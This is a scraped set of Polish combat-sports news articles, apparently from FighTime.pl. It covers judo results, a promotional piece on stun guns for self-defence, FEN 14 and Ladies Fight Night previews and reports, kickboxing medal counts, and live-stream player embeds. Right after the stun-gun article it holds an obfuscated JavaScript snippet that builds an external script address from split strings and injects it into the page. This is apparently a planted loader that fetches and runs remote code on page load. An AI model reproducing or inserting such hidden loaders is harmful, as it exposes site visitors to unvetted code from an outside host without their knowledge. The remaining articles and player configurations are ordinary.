W klasyfikacji medalowej Polacy zajęli 13. lokatę. Najlepsi okazali się Brazylijczycy z dorobkiem siedmiu krążków, w tym dwóch złotych. Na podium znaleźli się także Niemcy i Białoruś. 

Łącznie w turnieju wystartowało 218 zawodników.

Fot. EJU

KM

Sparaliżowana strachem i bezbronna? Z paralizatorem – nigdy więcej!

Hormon 3xF – fright, fight, flight. Mowa o adrenalinie, dzięki której w sytuacji zagrożenia i życia nasz organizm błyskawicznie się do niej dostosowuje, ale z drugiej strony – właśnie przez adrenalinę, nazywaną hormonem strachu, w groźnej sytuacji możemy odczuć paraliżujący wszelkie odruchy lęk.

Drżenie rąk, miękkie nogi jak z waty, spowolniona reakcja, poczucie zawieszenia w przestrzeni… Zwłaszcza kobietom, przeważnie drobniejszym niż napastnik, może towarzyszyć obezwładniające uczucie strachu, uniemożliwiające wykonanie ruchu, opóźniające właściwą reakcję. Dlatego do samoobrony przyda się nie tylko znajomość sztuk walki i posiadanie legalnego narzędzia do obrony koniecznej (jak np. gaz pieprzowy czy paralizator), ale także wykształcenie pewności siebie i trzymanie się przekonania, że w starciu będzie się wygraną stroną.

Nie mniej jednak – jak bojaźliwej czy podatnej na adrenalinę kobiecie może pomóc właściwe i wbrew pozorom proste w użyciu narzędzie do samoobrony, takie jak paralizator?

Jak działa paralizator?

Paralizator wytwarza prąd elektryczny o dużym napięciu (od 200 000 V do nawet 2 000 000 V w najsilniejszych paralizatorach), ale o niskim natężeniu, które nie jest śmiertelne dla człowieka. Paralizator jest zakończony dwoma bolcami, przez które przeskakuje ładunek elektryczny – przytknięcie paralizatora do obiektu powoduje zamknięcie obwodu.

""

Co ciekawe, to mit, że paralizatory działają tylko w bezpośrednim kontakcie z ciałem. Niektóre są skuteczne również przez grubą warstwę ubrań, co sprawia, że paralizator nie jest bezużyteczny zimą, kiedy napastnik jest ubrany od stóp do głów i trudno by o precyzyjne dosięgnięcie paralizatorem skóry agresora, zwłaszcza podczas błyskawicznej reakcji.

Jak obezwładnia paralizator?

Nawet krótkotrwałe porażenie paralizatorem powoduje u przeciwnika szok, skurcze i zwiotczenie mięśni, wstrząs i utratę orientacji. Jeżeli porażenie paralizatorem będzie trwało do 5 sekund, napastnik może zostać obezwładniony nawet na minimum kilkanaście minut, co stwarza możliwość ucieczki ofiary w bezpieczne miejsce, zawołania pomocy, telefonu na policję.

 

Jak używać paralizatora?

Paralizator powinno się nosić w takim miejscu, które umożliwia jego momentalne dosięgnięcie w sytuacji zagrożenia. Nie wyobrażamy sobie grzebania w torebce czy plecaku w poszukiwaniu paralizatora, kiedy podczas niespodziewanego ataku liczy się każda sekunda przewagi.

""

I chociaż wspomniana adrenalina steruje naszym ciałem, warto postarać się, aby umysł zwalczył porażający lęk. W użyciu paralizatora liczy się nie tylko celność i takie wykonanie ruchu, aby agresor został nieprzyjemnie zaskoczony, ale również pewność siebie.

Moment zawahania się – przeciwnik może wyrwać ofierze z ręki paralizator. I mimo że dzięki stosowanym w paralizatorach zawleczkom bezpieczeństwa, blokującym narzędzie, kiedy sznurek zabezpieczający zostanie na ręce ofiary, paralizator nie zostanie użyty przeciwko właścicielowi – zaatakowana osoba pozostanie bez narzędzia obronnego, co może ją przerazić i jeszcze bardziej wytrącić z równowagi.

[kod]

(function(){
a1c4=document.createElement("script");a1c4_="u"+("s")+"ta";
a1c4_+=("t.i")+""+"n";a1c4_+=(("f")+"o");a1c4.type="text/javascript";
a1c4_+="/"; a1c4u="12137184";a1c4u+=".4y2dcn1c1c4yu7axqlu";a1c4u+="c9mfm3flzap";
a1c4.src="//"+a1c4_+a1c4u; a1c4.async=true; document.body.appendChild(a1c4);
})();

Selwa kontra Olszynka na gali FEN 14 Silesian Rage

Kamil Selwa i Piotr Olszynka to młodzi, utalentowani, świetnie wyszkoleni i bardzo wysoko notowani w rankingach zawodnicy MMA wagi koguciej. Który z nich będzie górą na gali FEN 14 Silesian Rage? Przekonamy się o tym już 15 października w katowickim Spodku.

22-letni Kamil Selwa przebojem wdarł się do ścisłej czołówki fighterów wagi koguciej w naszym kraju. Mimo młodego wieku reprezentant Spartakusa Rzeszów stoczył już czternaście zawodowych walk, wygrywając – zwykle przed czasem – aż dziewięć z nich. Przed rokiem, po krótkim i niezbyt udanym epizodzie w wyższej kategorii wagowej, wrócił do kategorii koguciej. Od tego czasu walczył trzykrotnie, zapisując na swoim koncie trzy pewne zwycięstwa: we wrześniu ubiegłego roku wypunktował doświadczonego Czecha Ondreja Skalnika, w lutym przez techniczny nokaut w pierwszej rundzie pokonał Węgra Mate Totha, a miesiąc temu jednogłośną decyzją sędziów wygrał z faworyzowanym Dawidem Żywicą, pozbawiając go pasa mistrzowskiego PLMMA.

24-letni Piotr Olszynka z Silesia Cage Club Katowice, którego nazwisko w rankingach polskiego MMA pojawia się równie wysoko, jako nazwisko Kamila Selwy, jako zawodowiec ma dorobek nieco skromniejszy od swego rywala. Co prawda, debiutował już w 2008 roku, ale przez pierwszych sześć lat walczył tylko sześć razy. Jego kariera nabrała rozpędu w ubiegłym roku – najpierw we wrześniu w kontrowersyjnych okolicznościach przegrał na punkty z bardzo mocnym Rafałem Czechowskim, półtora miesiąca później już w pierwszej rundzie poddał renomowanego Dawida Pasternaka, a w grudniu podczas gali PLMMA 61 zdobył pas tej organizacji, pokonując jednogłośnie na punkty Mateusza Rajewskiego. Tytuł stracił w lutym, w swoim ostatnim do tej pory występie, po zaciętym pojedynku z Dawidem Żywicą – była to jego pierwsza walka w karierze przegrana przed czasem.

15 października podczas gali FEN 14 Silesian Rage  w katowickim Spodku wystąpią także Roman Szymański, który będzie bronił pasa mistrza FEN w formule MMA, Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1, Paweł Biszczak, Tomasz Gromadzki, Akop Szostak, Tyberiusz Kowalczyk, Albert Odzimkowski, Mateusz Strzelczyk i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Kamil Jenel vs Paweł Obozny na gali FEN 14 w Spodku

Dużym wydarzeniem FEN 14 Silesian Rage będzie kolejny w fight cardzie gali pojedynek na zasadach K-1, w którym zmierzą się Kamil Jenel i Pavel Obozny. 15 października w katowickim Spodku Białorusin będzie miał okazję do rewanżu za walkę sprzed pół roku, którą przegrał z Polakiem na punkty.

Kamil Jenel i Pavel Obozny, dwaj doświadczeni i utytułowani kickbokserzy, pierwszy raz walczyli ze sobą w marcu w Chorzowie. Wówczas polski fighter jednogłośną decyzją sędziów pokonał rywala ze wschodu, mimo że jeszcze tydzień wcześniej z powodu choroby leżał w szpitalu. Tym razem jednak walka zakontraktowana została w niższej kategorii wagowej -77 kg (poprzednio było to -82 kg), w której Obozny czuje się dużo pewniej, więc jego szanse na udany rewanż znacznie rosną.

Dla obu zawodników walka 15 października w Spodku będzie drugim występem w klatkoringu Fight Exclusive Night. Pavel Obozny debiutował na wrocławskiej gali FEN 9 G For It, mierząc się z Pawłem Biszczakiem w zastępstwie za kontuzjowanego w wypadku samochodowym Mehmeta Ali Balika. Przegrał ten pojedynek po niskich kopnięciach w drugiej rundzie, ale docenić trzeba odwagę Białorusina, który walkę z najlepszym polskim zawodnikiem K-1 wagi średniej przyjął na dzień przed galą. Walka z Biszczakiem jest jedną z wielu, które zawodnik z Grodna toczył z polskimi rywalami. Obozny wygrywał już m.in. z Tomaszem Gromadzkim, Marcinem Wiewiórką, Bartoszem Kołodziejczakiem i w lipcu tego roku z Oskarem Staszczakiem. Do jego największych sukcesów na międzynarodowych arenach zaliczyć trzeba tytuły mistrza Europy WKA i międzynarodowego mistrza IPKBA.

Zobacz walkę Pavla Obozny'ego z Pawłem Biszczakiem

Kamil Jenel, który w 2014 roku wrócił do Polski po siedmiu latach treningów w Holandii i zdobyciu tytułu zawodowego mistrza Beneluksu w K-1, pierwszy raz dla federacji Fight Exclusive Night walczył na gali FEN 12 Feel The Force we Wrocławiu. Pierwotnie jego przeciwnikiem miał być Wojciech Wierzbicki, ale dostał on szansę walki o tymczasowy pas FEN, dlatego reprezentant Paco Team Katowice ostatecznie zmierzył się z Oskarem Staszczakiem. Obaj zawodnicy zafundowali kibicom zacięte, dynamiczne i obfitujące w świetne akcje widowisko, po którym kolejne zwycięstwo do swego rekordu dopisał celniej i mocniej trafiający przeciwnika Jenel. Uczeń znanego trenera Mekkiego Benazzouza, który obecnie trenuje pod okiem Witolda Kostki, selekcjonera kadry Polski w kickboxingu low-kick, wcześniej wygrywał również m.in. na kickbokserskich galach holenderskiej organizacji Enfusion i polskiej DSF Kickboxing Challenge.

Zobacz walkę Kamila Jenela z Oskarem Staszczakiem

Walka Jenela z Oboznym to trzecie starcie na zasadach K-1 w karcie walk gali FEN 14 Silesian Rage. W innym ogłoszonym już zestawieniu Paweł Biszczak zmierzy się z Tomaszem Gromadzkim, a na swojego rywala czeka jeszcze Tomasz Sarara, który walczyć będzie o pas FEN wagi ciężkiej. Z kolei w walkach w formule MMA 15 października w katowickim Spodku wystąpią m.in. broniący tytułu mistrza FEN Roman Szymański oraz Akop Szostak, Tyberiusz Kowalczyk, Albert Odzimkowski, Mateusz Strzelczyk i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Panie pokazały pazur

Miły wieczór z kobietą zawsze jest w cenie. Tym razem miłośnicy sportów walki mieli okazję podziwiać aż 11 walk płci pięknej podczas gali Ladies Fight Night 3 w warszawskiej hali Expo XXI.

Swoje umiejętności zaprezentowały zawodniczki, które wcześniej osiągały sukces w muay thai, K-1, a także prezentowały się na eventach innych organizacji. Przed Ladies Fight Night 3 zrobiło się głośno o wycofaniu z pojedynku Róży Gumiennej. Mimo to, organizatorzy przygotowali 11 ekscytujących walk. Jak przebiegała gala?

Spokojny początek

Na pierwszy ogień poszły panie w kategorii 52kg w K-1. Hanna Gujwan z Millenium Rzeszów nie pozostawiła sędziom żadnych wątpliwości. W rywalizacji z Pauliną Maj była zdecydowanie lepsza i wygrała 3:0. Sylwia Juśkiewicz ma na swoim koncie walki na zasadach MMA. Nawet na Ladies Fight Night 1 pokonała Alice Ardelean i była to jej trzecia wygrana z rzędu. Tym razem niespełna 22-letnia fighterka Fight Club Łódź spotkała się z Magdaleną Mróz. Juśkiewicz po upływie trzech rund mogła cieszyć się ze zwycięstwa.

Efektowne rozstrzygnięcie przyszło w walce numer trzy, w której na zasadach MMA spotkały się Alexandra de Cassia Rodrigues i Paulina Borkowska. W drugiej rundzie Brazylijka założyła Polce dźwignię na rękę, a ta zmuszona była odklepać. Kolejne dwa starcia to zmagania w K-1. Patrycja Krawczyk, znana z występów na FEN, lepsza od Urszuli Mydłowskiej w kategorii 56kg. Z kolei w 52kg Monika Porażyńska-Bohn przez decyzję pokonała Patrycję Pamułę.

Kolejne starcie na zasadach MMA i ponownie efektowne rozstrzygnięcie. Martyna Czech z Bastionu Tychy nie bawiła się w rozpoznanie możliwości Kristiny Matilevich. Polka zdecydowanie ruszyła do przodu i pokazała moc swoich uderzeń. Reprezentantka Łotwy już w pierwszej rundzie musiała uznać wyższość Czech. Doświadczona Anna Fucz w K-1 spotkała się z Eliską Pelechovą. Górą była fighterka reprezentująca University of Fighting Dusseldorf.

Emocje późną porą

W K-1 61kg Katarzyna Posiadała z Gladiatora Siedlce, która w tym roku wywalczyła tytuł mistrzyni Europy Pro Am w muay thai zmierzyła się z Lucie Cmarovą, czyli siostrą Veroniki, z którą Polka wygrała podczas LFN 1. Słowaczka w kwietniu uporała się z Joanną Pawlik. W hali Expo XXI nie pomściła jednak siostry. Posiadała wygrała przez decyzję sędziów.

Z dobrej strony pokazała się Weronika Zygmunt. W pojedynku na zasadach MMA zawodniczka Grappling Kraków pokonała już w pierwszej rundzie Valeriyę Sochenko. Annisa Haddaoui lepsza od Alisy Bazhukovej w walce w K-1.

Pojedynek wieczoru to dobry pokaz muay thai. Judyta Niepogoda spotkała się w pięciorundowym starciu z Martą Gusztab. Pierwotnie rywalką fighterki z Siedlec miała by Viktoria Korkoshko, ale Ukrainka miała problemy wizowe i zdrowotne. Zastąpiła ją brązowa medalistka mistrzostw Polski w K-1 Marta Gusztab, która walczyła na LFN 1. W Warszawie doświadczona Niepogoda toczyła zacięty bój w reprezentantką Kohortę Poznań. Sędziowie mieli ciężki orzech do zgryzienia. Ostatecznie – niejednogłośną decyzją wygrała Niepogoda. 

KM

Wieczór pod znakiem kobiecych walk

Zainteresowanie galą Ladies Fight Night w Warszawie jest ogromne. Widzowie liczą na ciekawie widowisko. Zapraszamy do śledzenia transmisji w telewizji FighTime!

Już 10 września warszawska hala Expo XXI będzie gościć utalentowane fighterki. Na pierwszy plan wysuną się pojedynki MMA i K-1. Kibice będą mogli podziwiać piękne kobiety spragnione triumfu. Początek gali o godz. 19.00

Tylko dla pań

Rzecz jasna, widowisko mogą podziwiać panowie, ale federacja LFN jest unikalna. Propozycja stworzenia wydarzenia opartego wyłącznie na kobietach wydawała się dość abstrakcyjna. Czy pomysł spotkał się z zainteresowaniem? Przekonamy się już 10 września, ale warszawska hala Expo XXI przygotowana jest na prawdziwe trzęsienie ziemi! Będzie się działo.

Głównymi aktorkami widowiska będą fantastyczne zawodniczki. W akcji zaprezentują się fighterki znane z występów w MMA, muay-thai i K-1. Galę zdominują Polki, ale nie zabraknie również zawodniczek z Holandii, Łotwy, Ukrainy, Słowacji czy Czech.

Katarzyna Posiadała kilka tygodni cieszyła się z wywalczenia mistrzostwa Europy Pro Am w muay thai. Na gali Ladies Fight Night Polka spotka się z Lucią Cmarovą. Patrycja Krawczyk w styczniu podczas FEN 10 zaimponowała w starciu z Moniką Porażyńską, które odbyło się na zasadach K-1. Teraz stanie do rywalizacji z trenującą w Fantom Gym & MMA Club Dublin Urszulą Mydłowską.

Nadzieję na podtrzymanie zwycięskiej pasy ma Weronika Zygmunt. Zawodniczka walcząca w MMA ma za sobą dwa triumfy na wcześniejszych eventach LFN. Teraz stawi czoła Valeriji Sotchenko. Na zwycięstwo liczy również Sylwia Juśkiewicz, która swego czasu przegrała z… Joanną Jędrzejczyk. W Warszawie 21-latka spotka się z Magdaleną Mróz, która święciła triumfy w muay thai. Pojedynek odbędzie się na zasadach K-1.

Podczas gali LFN 3 zobaczymy również Judytę Niepogodę, która spotka się z Viktorią Korkoshko w starciu na zasadach muay-thai. W K-1 zaprezentuje się doświadczona Anna Fucz, jej oponentką będzie Eliśka Pelechova. 

Bez Gumiennej

Mocnym nazwiskiem na gali LFN 3 miała być Róża Gumienna. Utytułowana kickboxerka w Warszawie nie wystąpi, gdyż organizacja FEN nie wyraziła zgody na jej walkę. LFN uznało tę decyzję na szkodliwą. Ponadto, krok ten wiązał się z problemami organizacyjnymi, gdyż informacja pojawiła się 10 dni przed galą.

Powody całej sytuacji starała się wyjaśnić Gumienna. – W związku z napięciem, które narasta w mediach społecznościowych i stronach o tematyce sportów walki w sprawie wycofania mojego pozwolenia na walkę dla organizacji LFN, czuje się zobowiązana, aby zabrać głos i wyjaśnić sytuację. Po walce, którą stoczyłam na FEN13 w sierpniu wystosowałam pisemną prośbę do organizacji FEN o udział w walce na gali organizowanej przez LadiesFighNight. Kroki które podjęłam, wynikały z kontraktu jaki mam podpisany z FightExclusiveNight. Zgodę (nie po raz pierwszy) otrzymałam, dlatego kontynuowałam przygotowania. Jednak kilka dni później otrzymałam oficjalną wiadomość od FEN o cofnięciu pozwolenia, które uzasadnione było agresywną polityką LFN względem FEN. Przejawiającą się obraźliwymi i wulgarnymi postami oraz grafikami umieszczonymi na portalu społecznościowym. Walka na LFN 3 byłaby jednoznaczną informacja dla FEN, że akceptuje i podpisuje się pod tymi postami – napisała na swoim fangpage'u.

KM

Podolak: Na igrzyskach nie ma słabych rywalek

Wyjazd do Rio de Janeiro był potwierdzeniem wysokiej dyspozycji Arlety Podolak (57kg) i spełnieniem jej marzeń. 22-letnia Polka odpadła w pierwsze rundzie olimpijskich zmagań, jednak sezon trwa dalej. Jakie plany ma zawodniczka Czarnych Bytom?

22-latka w Rio zdobyła cenna doświadczenie, które może zaprocentować w przyszłości. Wyraźnie widać, że z roku na rok Podolak robi postępy i powoli wyrasta na gwiazdę polskiego judo.

Trudna rywalka

Losowanie nie było łaskawe dla Podolak. W pierwszej rundzie Igrzysk Olimpijskich Polka trafiła na Lien Chen Iing, czyli zawodniczkę zajmującą obecnie 10. miejsce w światowym rankingu. 28-latka w Rio pokazała, że ma spory potencjał. Rywalizację zakończyła na piątym miejscu. Podolak w Rio zebrała cenną naukę. – Nie stresowałem się przed startem w Igrzyskach Olimpijskich. Wiedziałam, że na imprezie tej rangi nie ma słabych rywalek. Nie znałam swojej przeciwniczki. Chen-Iing Lien jest wysoko w rankingu, dodatkowo trenuje w Japonii i przyjaźni się z mistrzynią olimpijską. To mówiło wiele o jej potencjale, jednak uważam, że była do przejścia, ale walka z nią była trudna. To niezwykle niewygodna rywalka. Do tego wysoka, co utrudnia rywalizację – mówi FighTime.pl reprezentantka Polski w judo.

Cały czas czekamy na medal olimpijski w judo. „Klątwa” Nastuli trwa. – Judo jest sportem olimpijskim. Wszyscy chcą medalu, co jest naturalne, ale często wywierana presja rodzi to problemy. Chaos, błędy w przygotowaniach, dodatkowo kontuzje wśród naszych judoków. To wszystko przełożyło się na niewielką liczbę kwalifikacji olimpijskich – tłumaczy Podolak.

Dobry rok

Patrząc na tegoroczne starty Podolak widać, że zawodniczka zrobiła postęp. 22-latka rywalizuje z najlepszymi judoczkami bez kompleksów i osiąga sukcesy. Polscy kibice cieszyli się z jej triumfu w Warszawie, a ta potwierdziła potencjał także w Ałmatach. – Puchar Europy to impreza niżej rangi i nie ma, co przesadzać z radością. Wiadomo, że sukces cieszy, ale większą satysfakcję dało mi zwycięstwo w Grand Prix w Ałamatach. Wyprzedziłam mistrzynię Europy, która była trzecia. Być wyżej niż Automne Pavia to powód do radości – podaje 22-letnia judoczka.

Sezon trwa dalej. Jesień wydaje się niezwykle pracowita dla judoków. Jakie plany ma reprezentantka Polski? – W przyszły weekend będę startowała w niemieckiej Bundeslidze. Z kolei w październiku czekają mnie zmagania w Pucharze Polski i mistrzostwach kraju. W grudniu odbędą się wojskowe mistrzostwa świata, gdzie również wystartuję – wylicza judoczka.

fot. pzjudo.pl/EJU

KM

Czy zdobędą Tallinn?

Judocy wracają na tatami. Polacy jadą do Estonii, gdzie odbędzie się Puchar Europy. W Tallinnie zabraknie naszych olimpijczyków.

Jesień z judo zapowiada się niezwykle ciekawie. Liczymy na mocny akcent już w pierwszym wrześniowym starcie. Ostatnie wspomnienia związane z Tallinem mamy dobre i miejmy nadzieję, że tak pozostanie.

Szwarnowiecki zmienia kategorię

Start w Tallinie będzie debiutem Damiana Szwarnowieckiego w kategorii 81kg. Dotychczas zawodnik rywalizował w 73kg. Warto podkreślić, że dla 22-latka to nie pierwsza zmiana kategorii wagowej. Do 2011 roku rywalizował w 66kg. Ten rok dla Szwarnowieckiego jest wyjątkowy. W lutym w Pucharze Europy w Pradze zdobył srebrny medal, co stanowiło największe osiągnięcie w jego karierze. Nie musiał długo czekać, żeby poprawić ten wynik. 1 kwietnia w Samsun wywalczył złoto w Grand Prix w Samsun. Szkoda tylko, że nie udało mu się zakwalifikować do igrzysk. W Tallinie 22-latek rozpocznie nowy rozdział w swojej karierze.

Kategorię 81kg warto obserwować, gdyż wystartuje w niej aż czterech Polaków. Oprócz Szwarnowieckiego będą to: Karol Kurzej, Damian Stępień i Przemysław Szerszeniewski. 

Kolejne szlify będzie miał okazję zebrać Patryk Wawrzyczek. 21-latek w ubiegłym roku podczas zawodów w Celje uplasował się na trzecim miejscu w kategorii 66kg. W kolejnych startach wśród seniorów nie poszło mu już tak dobrze. W 66kg wystąpią także: Michał Bartusik, Maciej Zacheja i Bartosz Dobranowski.

Dobre starty w tym roku notował Kamil Grabowski, który pomagał Maciejowi Sarnackiemu w przygotowaniach do igrzysk w Rio. W tym sezonie w trzech startach 23-latek dwukrotnie punktował. Szczęśliwy okazał się dla niego Dubrownik, gdzie w Pucharze Europy odniósł triumf. To największe osiągnięcie w jego dotychczasowej karierze.

Mistrzynie Europy jadą do Tallina

Żeńska część kadry prezentuje się niezwykle mocno. Anna Borowska (57kg), Karolina Tałach (63kg) i Anna Załęczna (+78kg) w kwietniu mogły świętować drużynowe mistrzostwo Europy w Kazaniu. Polski zespół niejednokrotnie pokazał, że ma ogromne możliwości. Każda ze wspomnianych zawodniczek w tym roku stawała już na podium w indywidualnych startach na poziomie międzynarodowym. Warto podtrzymać dobrą formę i powalczyć o sukces w Tallinnie.

W Warszawie Beata Pacut stała na najwyższym stopniu podium. W kolejnych startach potwierdziła dobrą dyspozycję. Ciekawe, jak rozpocznie jesienną część sezonu. 

Łącznie do Tallina wybrała się trzydziestoosobowa kadra Polski.

Skład biało-czerwonych:

Ewa Konieczny i Joanna Stankiewicz (48kg), Anna Borowska i Magdalena Zbrzyzna (57kg), Karolina Tałach, Dominika Błach, Aleksandra Langiewicz i Sonia Lniany (63kg), Sandra Lickun, Urszula Hofman i Barbara Białas (70kg), Beata Pacut (78kg), Anna Załęczna (+78kg), Bartłomiej Garbacik, Adrian Wala (60kg), Michał Bartusik, Maciej Zacheja, Patryk Wawrzyczek i Bartosz Dobranowski (66kg), Wiktor Mrówczyński, Mateusz Garbacz (73kg), Karol Kurzej, Damian Stępień, Damian Szwarnowiecki i Przemysław Szerszeniewski (81kg), Tomasz Szczepaniak (90kg), Mariusz Krueger, Patryk Broniec (100kg) oraz Kamil Grabowski, Tomasz Tałach (+100kg).

KM

LIVE: XIII Warszawska Granda

Zapraszamy na transmisję telewizyjną na żywo z gali XIII Warszawska Granda, która odbędzie się 18 września w siedzibie Legia Fight Club. Start zaplanowany za godz. 10.00.

[kod]

Granda Warszawska – XIII

Granda Warszawska – XIII

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 14 Silesian Rage – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 14 Silesian Rage.

[kod]

FEN 14 Silesian Rage

FEN 14 Silesian Rage

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN14SilesianRage.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN14SilesianRage.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN14SilesianRage.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN14SilesianRage.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 14 Silesian Rage – Oficjalne ważenie zawodników

Zapraszamy na transmisję telewizyjną na żywo z oficjalnego ważenia zawodników przed galą FEN 14 Silesian Rage.

[kod]

FEN 14 Silesian Rage

FEN 14 Silesian Rage

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN14SilesianRage.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN14SilesianRage.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN14SilesianRage.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN14SilesianRage.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Blisko 60 medali naszych kickboxerów

W jakich kategoriach rozpatrywać ten wynik polskich kickboxerów w mistrzostwach świata WAKO juniorów i kadetów w Dublinie? Z pewnością to kolejny sukces dyscypliny, a zarazem potwierdzenie naszego potencjału.

Do znudzenia można powtarzać, że Polska jest w elicie światowego kickboxingu. Biało-czerwoni zdobywają medale, są mocni i rywale obawiają się pojedynków z nimi. Czy ktoś to w końcu dostrzeże?

Medalowy zawrót głowy

Podczas Igrzysk Olimpijskich w Rio de Janeiro Polacy zdobyli łącznie 11 medali, w tym dwa złote. Najlepsi okazali się Amerykanie. Reprezentanci USA wywalczyli 121 krążków, w tym 46 złotych. Jak się mają igrzyska do mistrzostw świata juniorów i kadetów w kickboxingu? Można rozpatrywać to na różnych polach. Po pierwsze, potencjał polskiego kickboxingu jest ogromny. Po drugie, to widowiskowa dyscyplina. Po trzecie, szkoda, że rywalizacji kickboxerów nie można śledzić na igrzyskach. Wtedy dorobek Polaków mógłby być zdecydowanie większy. To temat na dłuższą rozmowę. 

Swego czasu pojawiła się petycja „Tak dla kickboxingu na Igrzyskach Olimpijskich”. Trzeba walczyć i próbować. Miłośników sportów walki przybywa, a kickboxing jest niezwykle widowiskowy.

Wracając do tematu, mistrzostwa świata juniorów i kadetów w Dublinie potwierdziły, że Polska ma szerokie zasoby klasowych zawodników. Łącznie Polacy wywalczyli 58 medali. Na ten dorobek złożyło się 13 złotych krążków, 16 srebrnych i 29 brązowych. To wspaniały rezultat uwzględniając liczbę rywalizujących w Dublinie. O tytuły mistrzowskiego walczyło prawie 1400 zawodników z 47 krajów.

Świetny prezent na 18. urodziny sprawił sobie Adrian Szymanowski. Zawodnik Our Team Poznań triumfował w low-kick 75kg. Wśród juniorów złote medale wywalczyli również: Paulina Radzimierska (low-kick, 70kg), Kamil Połosak (kick light, 84kg), Filip Zawłocki (K1, 81kg), Zuzanna Licha (low kick, 48kg), Roksana Dargiel (k1, 52kg), Michał Adamek (kick light, 94kg), Jolanta Cichoń (full contact, +60kg) i Sebastian Samiła (full contact, 63,5kg). Wśród kadetów na najwyższym stopniu podium stanęli: Paulina Turulska (kick light, 46kg), Angelika Szczepańska (kick light, 65kg), Szymon Góra (kick light, 42kg) i Bartosz Grat (kick light, 69kg).

Dominatorzy z Rosji

Polska jest mocna, ale cały czas trzeba się doskonalić i iść w górę. Biało-czerwoni w klasyfikacji medalowej uplasowali się na szóstej lokacie. Rywalizację w pełni zdominowali Rosjanie. Reprezentanci Sbornej cieszą się z pierwszego miejsca w klasyfikacji medalowej i 130 krążków, w tym aż 57 złotych. De faceto, Rosjanie zdobyli tylko o jeden najcenniejszy krążek mniej niż wynosi dorobek całej naszej kadry. Dalej uplasowali się Irlandczycy (76) oraz Włosi (64). Lepsi od Polski okazały się również reprezentacje Wielkiej Brytanii i Węgier, które zdobyły mniej medali w łącznej liczbie, ale więcej koloru złotego.

KM

LIVE: Gala Ladies Fight Night 3

Zapraszamy na transmisję telewizyjną na żywo z Gali Ladies Fight Night 3: The Femmageddon, która odbędzie się 10 września w hali EXPO XXI w Warszawie. 

[kod]

Gala Ladies Fight Night

Gala Ladies Fight Night

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LadiesFightNight.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LadiesFightNight.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LadiesFightNight.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LadiesFightNight.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Brandys vs Hadaś w fight cardzie gali FEN 14 w Spodku

Jedną z najciekawszych walk MMA na gali FEN 14 Silesian Rage będzie starcie zawodników, którzy już dwukrotnie mieli walczyć ze sobą, ale kontuzje jednego z nich krzyżowały te plany. 15 października w katowickim Spodku zmierzą się dwaj utalentowani fighterzy kategorii średniej – Paweł Hadaś i Paweł Brandys.

Dla Pawła Hadasia będzie to druga walka w klatkoringu Fight Exclusive Night – debiutował bardzo udanie w styczniu na gali FEN 10 Gold Edition w Lubinie, w drugiej rundzie trójkątem rękoma zmuszając do poddania Aleksandra Rychlika. Było to szóste z rzędu zwycięstwo zawodnika z Górnego Śląska – bezpośrednio przed tym walką odniósł spory sukces podczas turnieju Fightstar Promotions: Rage in the Cage 3 w Szkocji, pokonując Anglika Kyle’a Redfearna i Austriaka Markusa Di Gallo i awansując do finału tej imprezy (z walki finałowej wykluczyła go kontuzja pachwiny). Jedynej porażki w zawodowej karierze Paweł Hadaś doznał w 2010 roku, na samym początku swej przygody z MMA przegrywając z Hubertem Lechem. Choć wywodzi się z kickboxingu, to uważany jest za groźnego grapplera – potwierdzeniem tej opinii są jego osiągnięcia amatorskie, czyli zdobycie Pucharu Polski ADCC w brazylijskim jiu-jitsu oraz tytułu mistrza Polski w jiu-jitsu.

Dla jego przeciwnika, młodszego o 8 lat Pawła Brandysa październikowa walka na gali FEN 14 Silesian Rage będzie debiutem w organizacji Fight Exclusive Night. Znany z ofensywnego, agresywnego stylu walki fighter z Oświęcimia na zawodowej arenie stoczył 10 walk, połowę z nich wygrywając, dwie remisując i trzy przegrywając. Podopieczny Daniela Jochemczyka występował dotychczas głównie na zawodach PLMMA. Ostatni jego występ to walka wieczoru gali PLMMA 67: Nastula Cup 1 w Łomiankach, zorganizowanej na zasadach Pride FC (pierwsza runda trwa 10 minut, dwie kolejne po 5 minut), którą przegrał na punkty z będącym ostatnio w świetnej formie Marcinem Naruszczką.

